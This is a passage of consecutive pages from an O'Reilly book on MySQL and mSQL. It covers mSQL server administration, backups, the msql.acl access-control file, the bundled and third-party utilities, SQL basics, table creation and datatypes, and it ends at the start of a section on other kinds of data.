Mini SQL Version 2.0.4.1 - Forge Alpha Build #9
Copyright (c) 1993-94 David J. Hughes
Copyright (c) 1995-98 Hughes Technologies Pty Ltd.
All rights reserved.

Config file      : c:\usr\local\hughes\msql.conf
Max connections  : 61
Cur connections  : 1
Running as user  : UID 500

Connection table :
  Sock  Username    Hostname    Database    Connect   Idle   Queries
 +-----+----------+---------- +------------+---------+------+--------+
 |   5 | randy    | Unix sock | No DB      |  0H  0M |    0 |      1 |
 |  13 | bob      | client.com| mydata     |  0H  5M |    2 |      4 |
 +-----+----------+------ ----+------------+---------+------+--------+

This output likely needs a little explanation:

Max connections

The maximum number of simultaneous connections that the server can handle.

Cur connections

The current number of connections to the database server.

Sock

The Internet socket number used by mSQL to identify each connection.

Username

The username of the person connected to the server.

Hostname

The hostname of the machine connected to the server. "Unix sock" is shown if the client is connecting from the local host via a Unix socket.

Database

The name of the database to which the user is currently connected. "No DB" means that the client has not chosen a database.

Connect

The total time the client has been connected to the server in hours and minutes.

Idle

The amount of time in minutes since the client's last query.

Queries

The total number of queries the client has sent using this connection.

In addition to the msqladmin stats command, you can monitor other, more static, server information via the msqladmin version command. Your output might look something like this:

Version Details :-

    msqladmin version       2.0.4.1 - Forge Alpha Build #9
    mSQL server version     2.0.4.1 - Forge Alpha Build #9
    mSQL protocol version   23
    mSQL connection         127.0.0.1 via TCP/IP
    Target platform         CYGWIN32_NT-4.0-i586

Configuration Details :-

    Default config file     c:\usr\local\hughes/msql.conf
    TCP socket              1114
    Unix socket             c:\usr\local\Hughes\msql2.sock
    mSQL user               msql
    Admin user              root
    Install directory       c:\usr\local\Hughes
    PID file location       c:\usr\local\Hughes\msql2d.pid
    Memory Sync Timer       30
    Hostname Lookup         False

Each of the values in the output of msqladmin version can be set via the mSQL 2 configuration file.

If mSQL has been compiled with debugging enabled, mSQL will place information about the running server process into the debug file chosen at compile time. mSQL provides no other logging facilities.

5.5.1.5. Server shutdown

You saw an example of how to shutdown mSQL earlier in the chapter in the example Unix startup/shutdown script. The command is:

msqladmin shutdown

This command will perform a clean shutdown of the mSQL server.

5.5.1.6. Reloading server changes

If you make any changes to the mSQL ACL, you will need to tell the server to reload those changes. The command to do this is:

msqladmin reload

We will cover the mSQL ACL later in the chapter.

5.5.1.7. Command line options for msqladmin

In all of the examples we have given so far, msqladmin has been used to manage the mSQL server on the local host with the default configuration file. You can use this tool to manage servers on other machines or that use different configuration files. The full syntax for the msqladmin utility is:

msqladmin [-h host] [-f conf] [-q] COMMAND

The options have the following meanings:

-h

The host of the server you wish to manage.

-f

The configuration file for the server you wish to manage. You will only likely ever use this option if you are running multiple mSQL instances as described earlier in the chapter.

-q

Run in quiet mode. The msqladmin utility will not ask you for verification of commands. This option is useful if you are running the utility from a script.

5.5.2. Backups

Good backups are a vital part of any administration scheme. Database corruption can happen and, if severe enough, can cripple all applications that depend on the database. As the saying goes, data is only as good as the most recent backup.

There are a couple of backup methods available when using mSQL. Like most of mSQL, they do not provide all of the bells and whistles but they do get the job done. The msqldump command is the most commonly used method for backing up mSQL databases. This command produces a full standard SQL dump of an entire database. You must issue a separate msqldump command for each database on the system. For example:

msqldump database1 > /usr/backups/database1.sql.daily
msqldump database2 > /usr/backups/database2.sql.daily
msqldump database3 > /usr/backups/database3.sql.daily

This example creates a dump of three different databases into the same directory.

You use the file extension daily to indicate that the backup files are replaced every day. How often you backup your data will depend on the importance of the data and the amount and type of backup storage you have available. Because only full dumps are available from mSQL, the size of the backups can grow large on systems that contain a great deal of data. If you have enough space, a good backup plan is to keep separate daily backups for each day of the week -- or for two weeks or even a month. At the end of the cycle, the tapes are reused as needed -- or the files are overwritten if backing up to hard disk. This way there is always one week of data available. If backing up to hard disk, you can possibly condense the individual daily backups into a single daily backup that is overwritten each day. In this case, you should also keep a separate weekly backup in order to recover accidentally deleted data that cannot be found on the most recent backup. Because of the lack of redundancy, this plan should only be used if you have a limited amount of backup space available.

The other method of backing up mSQL databases involves taking advantage of the simple nature of the mSQL data files. Unlike some database packages, mSQL keeps its data in regular files stored in the native operating system's file system. Thus is it possibly to act on these files as if they were any other type of file. Therefore a complete backup of an mSQL system can be obtained by shutting down the mSQL server and then creating a tar archive of the mSQL data directory. You must shut down the server first or the archive data files could be incomplete or corrupt.

Restoring data from mSQL data backups is as simple as creating the backups. Dumps created with msqldump are in standard SQL that can be fed to the msql monitor. These dumps contain the instructions to create the tables as well as the data, so you should either remove the existing table, if it exists, or remove the CREATE TABLE statement from the backup file. If you are restoring only specific rows of data, you can simply copy them out of the backup file and feed them into the msql monitor.

When restoring data from a tar archive of the mSQL data directory, it is only possible to do a full restore to the backed up state. You cannot restore only parts of the data, and any data that has been added to the database since the backup will be lost. To perform this restore, simply shutdown the mSQL server then enter the backup file into the mSQL data directory. When you restart the server, it will be in exactly the state it was in when the backup was performed -- except that any new databases added will still be there, untouched.

Which method you choose to use depends on your needs. Creating a binary archive is simple and complete and allows for a very fast recovery time. However, it is not possible to do a partial recovery and any data you have added since the backup will be lost. The SQL dump method on the other hand can be slow, but it allows for partial recovery, albeit with a little work. In addition, the SQL dump method can be performed at any time, while a binary archive required the server to be shut down, which can be a deciding factor in a busy installation.

One final concern to consider is portability. Unlike a binary backup, a SQL dump consists entirely of plain ASCII SQL commands. With little modification -- mainly weeding out any of the mSQL specific SQL -- a mSQL SQL dump can be imported into any standards compliant SQL server. This is a very handy way to transport your data if you ever need to switch SQL servers.

5.5.3. Security

Depending on your point of view, the mSQL security scheme is either one of its advantages or one of its disadvantages. On the one hand, mSQL's security is easier to manage than any other server-based relational database engine available. It accomplishes this ease of maintenance through simplicity. Unfortunately, this simplicity is insufficient for even moderately complex database applications.

mSQL manages security through a file called msql.acl stored in the mSQL installation directory. The .acl extension refers to "Access Control List," a very flexible form of authorization that has been in use on several operating systems and applications for some time. The format of the msql.acl file looks like this:

database=mydata
read=*
write=*
host=*
access=local,remote

database=mynewdata
read=*
wriite=admin,root
host=*
access=local

Each database has a stanza of options. The read and write lines indicate which users you want to give read (SELECT) or write (INSERT,UPDATE,DELETE) access to the database. The host line specifies which hosts can connect remotely to the database. If the access line contains "local," local Unix socket connections are allowed. Similarly, if the access line contains "remote," remote TCP connections are allowed.

The ACL file allows a "*" wildcard entry in the read, write, and host fields. You could therefore have the following ACL:

database=mynewdata
read=*
write=msql*
host=*.client.com,*isp.com
access=local,remote

Under this ACL, anyone from any host at client.com or anyone from any host at any domain ending in isp.com -- for example, wisp.com and lisp.com -- can connect to the database. These users can read from the database, but only user names beginning with "msql" can modify the database.

By default, everything is excluded. Thus, if you leave out a write entry, nobody can modify the database. Specific users and hosts may be excluded by prefixing their entries with a "-". Consider the following:

database=moredata
read=-bob,*
write=jane
host=-junk.isp.com,*.isp.com
access=local,remote

This ACL enables all machines from the isp.com domain to connect, except for junk.isp.com. In addition, everyone except "bob" can read from the database. Only "jane" can write to the database. Because rejection is mSQL's default, having specific rejection entries like "bob," is meaningless unless the line also contains a wildcard entry.

mSQL acts on the first match it encounters. If, for example, the wildcard in the read entry came before "-bob," the wildcard would have matched "bob" and "bob" would have read access.

The msqladmin reload command, as noted earlier in the chapter, reloads an ACL after you have made any changes. If you fail to issue the msqladmin reload command, your changes will not be seen until the server shuts down and starts back up.

Previous | Home | Next
5.4. Running mSQL | Book Index | 5.6. mSQL Utilities
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


mSQL Utilities (MySQL & mSQL)

 MySQL and mSQLSearch this book

5.6. mSQL Utilities

We have already covered one of the utilities that ships with mSQL, msqladmin. mSQL provides seven basic utilities for basic interaction with mSQL. In addition to those basic utilities, mSQL supports a lightweight scripting utility called Lite and a web interface called W3-mSQL. Third party developers support numerous tools beyond those that come with mSQL. We will now take a detailed look at the basic mSQL utilities beyond msqladmin and then skim over the list of third party tools. We will address Lite and W3-mSQL later in the book.

5.6.1. Command Line Tools

Each mSQL command line tool comes with detailed help to explain its syntax. In general, however, the syntax mirrors that of the msqladmin command. Specifically, a -h option enables you to specify a host and a -f options enables you to name a specific configuration file.

msql

This tool is a command line interface into mSQL that enables you to interactively execute SQL against a specific database. In addition to the common options described above, you specify which database you wish to work against. Of all the commands that come with mSQL, this is likely the one you will use the most.

msqldump

This command outputs the complete contents of a table or a whole database, including the table structure itself, as a series of SQL statements. The output of this utility can be used to backup a database and recreate it on another machine.

msqlimport

This command reads a formatted file of data and inserts the data into the specified database table. The format of the file can come in any number of forms, including comma-delimited and quoted.

relshow

This tool displays the structure of the database and tables within them. It is useful, for example, if you want to know what tables exist in a database or what columns exist within a specific table.

msqlexport

This tool sends the contents of a table to the standard output in the form of a delimited text file. Many other database and applications like Microsoft Excel can read this file and import its data.

5.6.2. Third Party Support

As with any popular Internet product, the third party products that support mSQL are numerous. These products range from conversion utilities to programming interfaces. No matter how you use mSQL, you are certain to make use of at least one of the third party products outlined here. This list cannot, of course, be comprehensive as the availability of third party tools changes daily. You should check with the Hughes and mSQL PC web sites listed earlier in this chapter for the most up-to-date lists of third party tools.

5.6.2.1. Database conversion utilities

dbf2msql

Translates DBF files into mSQL tables. DBF files are the format of the dBASE database that once was the leading desktop database. Even though dBASE is no longer as popular, the DBF format has become ingrained as the most common cross-application database file format. Every major desktop database can read and write DBF files. This application is thus useful when exporting data to or importing data from commercial desktop databases.

mSQLpp

Converts Ingres Embedded SQL (ESQL) to SQL readable by mSQL. ESQL is embedded directly into C source files to provide easy access to databases in C programs. This program will translate a C source file with ESQL to a C source file using the standard mSQL API. It is intended to work as a preprocessor, so it is usually possible to use ESQL files -- filtered through the program -- with mSQL without any modification.

5.6.2.2. CGI interfaces

PHP

Creates HTML pages using special tags recognized by the PHP parser. PHP includes interfaces to most major databases, including MySQL and mSQL. PHP is covered in more detail in Chapter 12, "PHP and Other Support for Database-driven HTML".

dbadmin

Provides a CGI interface to mSQL. This program is a CGI program that enables you to access any mSQL database table as if it were in an HTML form. You can modify table data and even perform operations on the database itself.

Jate

A complete CGI interface to mSQL. Jate comes with many features, all of which are accessible via HTML forms. You can view and modify tables and customize the output. Jate imports flat file data through HTML text fields. It also optimizes some data and searches before sending them to the database server.

mSQLCGI

Serves as another CGI interface to mSQL tables. This CGI program enables you to view and modify mSQL database tables over the web using HTML forms. This particular interface requires you to run a supplied program on each table you wish to use before you can access it over the web.

5.6.2.3. Client applications

dbview

Shows the structure of a mSQL database. This utility is similar to relshow, but it has a few added features. Most notably, dbview displays the number of records within each table.

XfSQL

Provides full access to mSQL table data as an Xforms client for the X Window System. Using this tool, you can insert, delete, and view table data under the X Windows System.

XmSQL

Provides full access to mSQL table data as a library-independent client for the X Window System. It will thus compile on any X Window system.

mSQLsql

Displays formatted tables. You can use this tool to view a mSQL table in a variety of ways, including customizable borders and delimiters for ASCII formatted tables. You can also produce HTML tables based on user-definable options.

mSQLwin-relshow

Provides a Windows-based GUI representation of the relshow tool.

5.6.2.4. Programming interfaces

ConNExS

Provides an interface between mSQL and the NExS spreadsheet application. NExS is a popular spreadsheet that can interactively link with an external data source. ConNExS enables mSQL database tables to serve as data sources for an NExS spreadsheet. Any changes to the spreadsheet will appear in the underlying mSQL table.

mSQLBase

Exposes the SQLBase API as a C wrapper to mSQL programs. The SQLBase API is a third party database connectivity API that supports several major SQL servers. This program translates the mSQL API into the SQLBase API so that SQLBase clients can work with mSQL.

mSQLCLI

Encapsulates the mSQL C API so that ODBC clients on OS/2 can run against mSQL. ODBC (Open Database Connectivity) is a popular database-independent API supported by most databases for access from OS/2 and Windows. This wrapper implements the common ODBC features that mSQL supports, but only for the OS/2 operating system. It includes the minimum allowed ODBC functionality.

msqldll

Packages the mSQL C API in the form of a Windows Data Linked Library (DLL). Using this DLL, you can write Windows applications using VisualBasic or any other Windows programming tool that works against DLLs.

MsqlJava

Wraps the mSQL TCP/IP network protocol into a Java API that resembles the mSQL C API. It provides a quick start to writing Java applications for developers who already know the mSQL C API but may not be familiar with the Java standard JDBC API. MsqlJava only works under JDK 1.0.

mSQL-JDBC

Implements the Java standard Java Database Connectivity (JDBC) API on top of the mSQL TCP/IP network protocol. This package supports the maximum level of JDBC functionality possible for mSQL in both JDK 1.1 and JDK 1.2 (Java 2) environments, including the JDBC 2.0 standard. Chapter 14, "Java and JDBC", discusses Java programming against this API in detail, while Chapter 22, "JDBC Reference", provides a full reference for JDBC 2.0.

MsqlODBC

Implements the ODBC API for mSQL 1 on Windows. David Hughes is currently working on a mSQL 2 implementation.

mSQLPerl

Enables Perl scripts to access mSQL databases. Chapter 10, "Perl", discusses Perl programming for MySQL and mSQL in detail, and Chapter 21, "Perl Reference", provides a full reference for mSQLPerl.

mSQLPython

Enables Python scripts to access mSQL databases. Chapter 11, "Python", discusses Python programming for MySQL and mSQL in detail, and Chapter 20, "Python Reference", provides a full reference for mSQLPython.

mSQLRexx

Supports mSQL access from REXX, a scripting language most commonly found on the OS/2 operating system.

mSQLTCL

Enables any program in Tcl to access mSQL databases. This support encompasses many Tcl extensions, including Tcl/Tk and Expect.

mSQLVdb

Provides mSQL database access via the Vdb database library. Vdb is a database-independent C API that enables common client code to access several different backend database servers. Vdb clients can use this API to access mSQL databases.

zmsql

Provides object-oriented mSQL database access to C++ programs.

5.6.2.5. Miscellaneous

mod_auth_msql

Authenticates users of the Apache web server. Apache normally controls access through plain text files with user names and encrypted passwords. This Apache module enables you to manage access control inside a mSQL database.

mSQLEmacs

Expands the basic SQL-mode support in Emacs to handle special indenting and color highlighting for the mSQL variant of SQL.

msqlexpire

Deletes old data from mSQL tables. To use this program, a table must have a column that contains the age of the data. This program will examine the table for data that is older than desired and remove that data. You can configure msqlexpire to optionally send email notifications after each deletion.

mSQLSSL

Patches mSQL to support secure SSL-based network communications. In order to take advantage of this product, you need to compile mSQL with it. Once in place, your network communications are totally secure from prying eyes.

Sqs

Generates unique ID numbers for database tables. Using this program as a permanent daemon on a server, any number of clients can connect to the daemon and create, read, or delete sequences.

Previous | Home | Next
5.5. Database Administration | Book Index | 6. SQL According to MySQL and mSQL
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


SQL According to MySQL and mSQL (MySQL & mSQL)

 MySQL and mSQLSearch this book

Chapter 6. SQL According to MySQL and mSQL

Contents:

SQL Basics
Creating and Dropping Tables
SQL Datatypes
Indices
Sequences and Auto-Incrementing
Managing Data
Queries
Extended Functionality

The Structured Query Language (SQL) is the language used to read and write to MySQL and mSQL databases. Using SQL, you can search for data, enter new data, modify data, or delete data. SQL is simply the most fundamental tool you will need for your interactions with MySQL and mSQL. Even if you are using some application or graphical user interface to access the database, somewhere under the covers that application is generating SQL.

SQL is a sort of "natural" language. In other words, an SQL statement should read -- at least on the surface -- like a sentence of English text. This approach has both benefits and drawbacks, but the end result is a language very unlike traditional programming languages such as C, Java, or Perl.

In this chapter, we take a look at the SQL language as supported in MySQL and mSQL. For the most part, MySQL's dialect is a superset of mSQL's. We will carefully note the instances where the two dialects diverge. For the most part, however, this chapter applies to both database engines.

6.1. SQL Basics

SQL[7] is "structured" in the sense that it follows a very specific set of rules. A computer program can easily parse a formulated SQL query. In fact, the O'Reilly book lex & yacc by John Levine, Tony Mason, and Doug Brown implements a SQL grammar to demonstrate the process of writing a program to interpret language! A query is a fully-specified command sent to the database server, which then performs the requested action. Below is an example of an SQL query:

[7]Pronounced either "sequel" or "ess-que-ell." Certain people get very religious about the pronunciation of SQL. Ignore them. It is important to note, however, that the "SQL" in mSQL and MySQL is properly pronounced "ess-que-ell."

SELECT name FROM people WHERE name LIKE `Stac%'

As you can see, this statement reads almost like a form of broken English: "Select names from a list of people where the names are like Stac." SQL uses very few of the formatting and special characters that are typically associated with computer languages. Consider, for example, "$++;($*++/$|);$&$^,,;$!" in Perl versus "SELECT value FROM table" in SQL.

6.1.1. The SQL Story

IBM invented SQL in the 1970s shortly after Dr. E. F. Codd first invented the concept of a relational database. From the beginning, SQL was an easy to learn, yet powerful language. It resembles a natural language such as English, so that it might be less daunting to a nontechnical person. In the 1970s, even more than today, this advantage was an important one.

There were no casual hackers in the early 1970s. No one grew up learning BASIC or building web pages in HTML. The people programming computers were people who knew everything about how a computer worked. SQL was aimed at the army of nontechnical accountants and business and administrative staff that would benefit from being able to access the power of a relational database.

SQL was so popular with its target audience, in fact, that in the 1980s the Oracle corporation launched the world's first publicly available commercial SQL system. Oracle SQL was a huge hit and spawned an entire industry built around SQL. Sybase, Informix, Microsoft, and several other companies have since come forward with their implementations of a SQL-based Relational Database Management System (RDBMS).

At the time Oracle and its first competitors hit the scene, SQL was still brand new and there was no standard. It was not until 1989 that the ANSI standards body issued the first public SQL standard. These days it is referred to as SQL89. This new standard, unfortunately, did not go far enough into defining the technical structure of the language. Thus, even though the various commercial SQL languages were drawing closer together, differences in syntax still made it nontrivial to switch among implementations. It was not until 1992 that the ANSI SQL standard came into its own.

The 1992 standard is called both SQL92 and SQL2. The SQL2 standard expanded the language to accommodate as many of the proprietary extensions added by the commercial implementations as was possible. Most cross-DBMS tools have standardized on SQL2 as the way in which they talk to relational databases. Due to the extensive nature of the SQL2 standard, however, relational databases that implement the full standard are very complex and very resource intensive.

NOTE

SQL2 is not the last word on the SQL standard. With the growing popularity of object-oriented database management systems (OODBMS) and object-relational database management systems (ORDBMS), there has been increasing pressure to capture support for object-oriented database access in the SQL standard. SQL3 is the answer to this problem. It is not yet official, but it is currently very well defined and looks to become official sometime in 1999.

When MySQL and mSQL came along, they took a new approach to the business of database server development. Instead of manufacturing another giant RDBMS and risk having nothing more to offer than the big guys, they created small, fast implementations of the most commonly used SQL functionality.

6.1.2. The Design of SQL

As we mentioned earlier, SQL resembles a human language more than a computer language. SQL accomplishes this resemblance by having a simple, defined imperative structure. Much like an English sentence, individual SQL commands, called "queries," can be broken down into language parts. Consider the following examples:

CREATE   TABLE             people (name CHAR(10))
verb     object            adjective phrase

INSERT   INTO people       VALUES ('me')
verb     indirect object   direct object

SELECT   name              FROM people             WHERE name LIKE '%e'
verb     direct object     indirect object         adj. phrase

Most implementations of SQL, including MySQL and mSQL, are case-insensitive. Specifically, it does not matter how you type SQL keywords as long as the spelling is correct. The CREATE example from above could just as well appeared:

cREatE TAblE people (name cHaR(10))

The case-insensitivity only extends to SQL keywords.[8] In MySQL and mSQL, names of databases, tables, and columns are case-sensitive. This case-sensitivity is not necessarily true for all database engines. Thus, if you are writing an application that should work against all databases, you should act as if names are case-sensitive.

[8]For the sake of readability, we capitalize all SQL keywords in this book. We recommend this convention as a good "best practice" technique.

This first element of an SQL query is always a verb. The verb expresses the action you wish the database engine to take. While the rest of the statement varies from verb to verb, they all follow the same general format: you name the object upon which you are acting and then describe the data you are using for the action. For example, the query CREATE TABLE people (CHAR(10)) uses the verb CREATE, followed by the object TABLE. The rest of the query describes the table to be created.

An SQL query originates with a client -- the application that provides the façade through which a user interacts with the database. The client constructs a query based on user actions and sends the query to the SQL server. The server then must process the query and perform whatever action was specified. Once the server has done its job, it returns some value or set of values to the client.

Because the primary focus of SQL is to communicate actions to the database server, it does not have the flexibility of a general-purpose language. Most of the functionality of SQL concerns input to and output from the database: adding, changing, deleting, and reading data. SQL provides other functionality, but always with an eye towards how it can be used to manipulate the data within the database.

Previous | Home | Next
5.6. mSQL Utilities | Book Index | 6.2. Creating and Dropping Tables
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Creating and Dropping Tables (MySQL & mSQL)

 MySQL and mSQLSearch this book

6.2. Creating and Dropping Tables

With MySQL or mSQL successfully installed, you should now be ready to create your first table. The table, a structured container of data, is the basic concept in a relational database. Before you can begin adding data to a table, you must define the table's structure. Consider the following layout:

+---------------------------------+
|             people              |
+-------------+-------------------+
| name        | char(10) not null |
| address     | text(100)         |
| id          | int               |
+-------------+-------------------+

Not only does the table contain the names of the columns, but it also contains the types of each field as well as any additional information the fields may have. A field's datatype specified what kind of data the field can hold. SQL datatypes are similar to datatypes in other programming languages. The full SQL standard allows for a large range of datatypes. MySQL implements most of them, while mSQL contains only a few of the most useful types.

The general syntax for table creation is:

CREATE TABLE table_name (column_name1 type [modifiers]
                      [, column_name2 type [modifiers]]
)

NOTE

What constitutes a valid identifier -- a name for a table or column -- varies from DBMS to DBMS. mSQL provides close to the bare minimum support for names. It accepts any sequence of International Standards Organization (ISO) 8859-1 (Latin 1) letters, numbers, or `_' up to 20 characters as a valid identifier. An identifier must begin with a letter. Good database design only encounters problems with the ISO 8859-1 restriction. In other words, for good portable SQL, you do not want to have names that start with anything other than a valid letter. MySQL lets you go further. It allows up to 64 characters in an identifier, supports the character `$' in identifiers, and lets identifiers start with a valid number. More important, however, MySQL considers any valid letter for your local character set to be a valid letter for identifiers.

A column is the individual unit of data within a table. A table may have any number of columns, but large tables may be inefficient. This is where good database design, discussed in Chapter 2, "Database Design", becomes an important skill. By creating properly normalized tables, you can "join" tables to perform a single search from data housed in more than one table. We discuss the mechanics of a join later in the chapter.

Like most things in life, destruction is much easier than creation. The command to drop a table from the database is:

DROP TABLE table_name

This command will completely remove all traces of that table from the database. MySQL will remove all data within the destroyed table from existence. If you have no backups of the table, you absolutely cannot recover from this action. The moral of this story is to always keep backups and be very careful about dropping tables. You will thank yourself for it some day.

With MySQL, you can specify more than one table to delete by separating the table names with commas. For example, DROP TABLE people, animals, plants would delete the three named tables. You can also use the IF EXISTS modifier under MySQL to avoid an error should the table not exist when you try to drop it. This modifier is useful for huge scripts designed to create a database and all its tables. Before the create, you do a DROP TABLE table_name IF EXISTS.

Previous | Home | Next
6. SQL According to MySQL and mSQL | Book Index | 6.3. SQL Datatypes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


SQL Datatypes (MySQL & mSQL)

 MySQL and mSQLSearch this book

6.3. SQL Datatypes

In a table, each column has a type. As we mentioned earlier, a SQL datatype is similar to a datatype in traditional programming languages. While many languages define a bare-minimum set of types necessary for completeness, SQL goes out of its way to provide types such as MONEY and DATE that will be useful to every day users. You could store a MONEY type in a more basic numeric type, but having a type specifically dedicated to the nuances of money processing helps add to SQL's ease of use -- one of SQL's primary goals.

Chapter 15, "SQL Reference", provides a full reference of SQL types supported by MySQL or mSQL. Table 6-1 is an abbreviated listing of the most common types supported in both languages.

Table 6-1. The Most Often Used Datatypes Common to Both MySQL and mSQL

Datatype | Description
INT | An integer value. MySQL allows an INT to be either signed or unsigned, while mSQL provides a distinct type, UINT, for unsigned integers.
REAL | A floating point value. This type offers a greater range and precision than the INT type, but it does not have the exactness of an INT.
CHAR(length) | A fixed-length character value. No CHAR fields can hold strings greater in length than the specified value. Fields of lesser length are padded with spaces. This type is likely the most commonly used type in any SQL implementation.
TEXT(length) | A variable length character value. In mSQL, the given length is used as a suggestion as to how long the strings being stored will be. You may store larger values, but at a performance cost. Under MySQL, TEXT is just one of many variable-length datatypes.
DATE | A standard date value. While the format for storing a date differs between MySQL and mSQL, both database engines are capable of using the DATE type to store arbitrary dates for the past, present, and future. Both database engines are Y2K compliant in their date storage.
TIME | A standard time value. This type stores the time of day independent of a particular date. When used together with a date, a specific date and time can be stored. MySQL additionally supplies a DATETIME type that will store date and time together in one field.

NOTE

MySQL supports the UNSIGNED attribute for all numeric types. This modifier forces the column to accept only positive (unsigned) numbers. Unsigned fields have an upper limit that is double that of their signed counterparts. An unsigned TINYINT -- MySQL's single byte numeric type -- has a range of to 255 instead of the -127 to 127 range of its signed counterpart.

Both database engines provide more types than those mentioned above. MySQL, in particular, is very rich in the number of datatypes it supports. In day-to-day programming, however, you will find yourself using mostly the types mentioned earlier. With mSQL, choosing a datatype is pretty much as simple as picking the type that most closely resembles the data you want to store. The size of the data you wish to store, however, plays a much larger role in designing MySQL tables.

6.3.1. Numeric Types

Before you create a table, you should have a good idea of what kind of data you wish to store in the table. Beyond obvious decisions about whether your data is character-based or numeric, you should know the approximate size of the data to be stored. If it is a numeric field, what is its maximum possible value? What is its minimum possible value? Could that change in the future? If the minimum is always positive, you should consider an unsigned type. You should always choose the smallest numeric type that can support your largest conceivable value. If, for example, we had a field that represented the population of a state, we would use an unsigned INT field. No state can have a negative population. Furthermore, in order for an unsigned INT field not to be able to hold a number representing a state's population, that state's population would have to be roughly the population of the entire Earth.

6.3.2. Character Types

Managing character types is a little more complicated. Not only do you have to worry about the minimum and maximum string lengths, but you also have to worry about the average size, the amount of variation likely, and the need for indexing. For our current purposes, an index is a field or combination of fields on which you plan to search -- basically, the fields in your WHERE clause. Indexing is, however, much more complicated than this simplistic description, and we will cover indexing later in the chapter. The important fact to note here is that indexing one character fields works best when the field is fixed length. In fact, mSQL does not even provide an indexible variable-length character field! If there is little -- or, preferably, no -- variation in the length of your character-based fields, then a CHAR type is likely the right answer. An example of a good candidate for a CHAR field is a country code. The ISO provides a comprehensive list of standard two-character representations of country codes (US for the U.S.A., FR for France, etc.).[9] Since these codes are always exactly two characters, a CHAR(2) is always the right answer for this field.

[9]Don't be lulled into believing states/provinces work this way. If you want to write an application that works in an international environment and stores state/province codes, make sure to make it a CHAR(3) since Australia uses three-character state codes. Also note that there is a 3-character ISO country-code standard.

A value does not need to be invariant in its length to be a candidate for a CHAR field. It should, however, have very little variance. Phone numbers, for example, can be stored safely in a CHAR(13) field even though phone number length varies from nation to nation. The variance simply is not that great, so there is no value to making a phone number field variable in length. The important thing to keep in mind with a CHAR field is that no matter how big the actual string being stored is, the field always takes up exactly the number of characters specified as the field's size -- no more, no less. Any difference between the length of the text being stored and the length of the field is made up by padding the value with spaces. While the few potential extra characters being wasted on a subset of the phone number data is not anything to worry about, you do not want to be wasting much more. Variable-length text fields meet this need.

A good, common example of a field that demands a variable-length datatype is a web URL. Most web addresses can fit into a relatively small amount of space -- http://www.ora.com, http://www.hughes.com.au, http://www.mysql.com -- and consequentially do not represent a problem. Occasionally, however, you will run into web addresses like:

http://www.winespectator.com/Wine/Spectator/_notes|5527293926834323221480431354?Xv11=&Xr5=&Xv1=&type-region-search-code=&Xa14=flora+springs&Xv4=.

If you construct a CHAR field large enough to hold that URL, you will be wasting a significant amount of space for most every other URL being stored. Variable-length fields let you define a field length that can store the odd, long-length value while not wasting all that space for the common, short-length values. MySQL and mSQL each take separate approaches to this problem.

6.3.2.1. Variable-length character fields in MySQL

If you are using only mSQL, you can skip this section. The advantage of variable-length text fields under MySQL is that such fields use precisely the minimum storage space required to store an individual field. A VARCHAR(255) column that holds the string "hello world," for example, only takes up 12 bytes (one byte for each character plus an extra byte to store the length).

NOTE

In opposition to the ANSI standard, VARCHAR in MySQL fields are not padded. Any extra spaces are removed from a value before it is stored.

You cannot store strings whose lengths are greater than the field length you have specified. With a VARCHAR(4) field, you can store at most a string with 4 characters. If you attempt to store the string "happy birthday," MySQL will truncate the string to "happ." The downside of the MySQL approach to variable-length text fields over the mSQL approach is that there is no way to store the odd string that exceeds your designated field size. Table 6-1 shows the storage space required to store the 144 character Wine Spectator URL shown above along with an average-sized 30 character URL.

Table 6-1. The Storage Space Required by the Different MySQL Character Types

Datatype | Storage for a 144 Character String | Storage for a 30 Character String | Maximum String Size
CHAR(150) | 150 | 150 | 255
VARCHAR(150) | 145 | 31 | 255
TINYTEXT(150) | 145 | 31 | 255
TEXT(150) | 146 | 32 | 65535
MEDIUMTEXT(150) | 147 | 33 | 16777215
LONGTEXT(150) | 148 | 34 | 4294967295

If, after years of uptime with your database, you find that the world has changed and a field that once comfortably existed as a VARCHAR(25) now must be able to hold strings as long as 30 characters, you are not out of luck. MySQL provides a command called ALTER TABLE that enables you to redefine a field type without losing any data.

ALTER TABLE mytable MODIFY mycolumn LONGTEXT

6.3.2.2. Variable-length character fields in mSQL

You can skip this section if you are only interested in MySQL. Variable-length character fields in mSQL enable you to define a field's length to be the size of the average character string length it will hold. While every value you insert into this field will still take up at least the amount you specify, it can hold more. The database does this by creating an overflow table to hold the extra data. The downside of this approach comes in the form of performance and the inability to index variable-length fields.

Let's take a moment to examine the impact of different design choices with mSQL. In order to store all of the above URLs in a CHAR field, we would need to have a CHAR(144) column. Under this scenario, the four URLs in question would take up 576 bytes (144x3), even though you are only actually storing 216 bytes of data. The other 360 bytes is simply wasted space. If you multiple that times thousands or millions of rows, you can easily see how this becomes a serious problem. Using a variable-length TEXT(30) field, however, only 234 bytes (30x3+144) are required to store the 216 bytes of data. Only 18 bytes are wasted. That is a 41% savings!

6.3.3. Binary Datatypes

mSQL has no support for binary data. MySQL, on the other hand, provides a set of binary datatypes that closely mirror their character counterparts. The MySQL binary types are CHAR BINARY, VARCHAR BINARY , TINYBLOB , BLOB , MEDIUMBLOB, and LONGBLOB . The practical distinction between character types and their binary counterparts is the concept of encoding. Binary data is basically just a chunk of data that MySQL makes no effort to interpret. Character data, on the other hand, is assumed to represent textual data from human alphabets. It thus is encoded and sorted based on rules appropriate to the character set in question. Specifically, MySQL sorts binary in a case-insensitive, ASCII order.

6.3.4. Enumerations and Sets

MySQL provides two other special kinds of types with no mSQL analog. The ENUM type allows you specify at table creation a list of possible values that can be inserted into that field. For example, if you had a column named fruit into which you wanted to allow only "apple," "orange," "kiwi," or "banana," you would assign this column the type ENUM:

CREATE TABLE meal(meal_id INT NOT NULL PRIMARY KEY,
                  fruit ENUM(`apple', `orange', `kiwi',
                             `banana'))

When you insert a value into that column, it must be one of the specified fruits. Because MySQL knows ahead of time what valid values are for the column, it can abstract them to some underlying numeric type. In other words, instead of storing "apple" in the column as a string, it stores it as a single byte number. You just use "apple" when you call the table or when you view results from the table.

The MySQL SET type works in the same way, except it lets you store multiple values in a field at the same time.

6.3.5. Other Kinds of Data

